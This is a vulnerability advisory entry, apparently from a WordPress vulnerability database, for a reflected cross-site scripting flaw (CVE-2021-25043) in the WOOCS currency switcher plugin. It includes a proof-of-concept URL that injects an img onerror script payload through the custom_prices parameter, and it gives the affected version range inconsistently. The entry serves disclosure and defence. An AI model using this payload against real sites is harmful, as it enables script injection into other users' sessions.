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WordPress Plugin Vulnerabilities

WOOCS < 1.3.7.3 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the custom_prices parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=woocs_get_custom_price_html&custom_prices[]=%3Cimg%20src%20onerror=alert(`XSS`)%3E 

Affects Plugins

woocommerce-currency-switcher
Fixed in version 1.3.7.1

References

CVE
CVE-2021-25043
URL
https://plugins.trac.wordpress.org/changeset/2640621/woocommerce-currency-switcher

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
8601bd21-becf-4809-8c11-d053d1121eae

Timeline

Publicly Published

2021-12-13 (about 1 years ago)

Added

2021-12-13 (about 1 years ago)

Last Updated

2022-04-11 (about 9 months ago)

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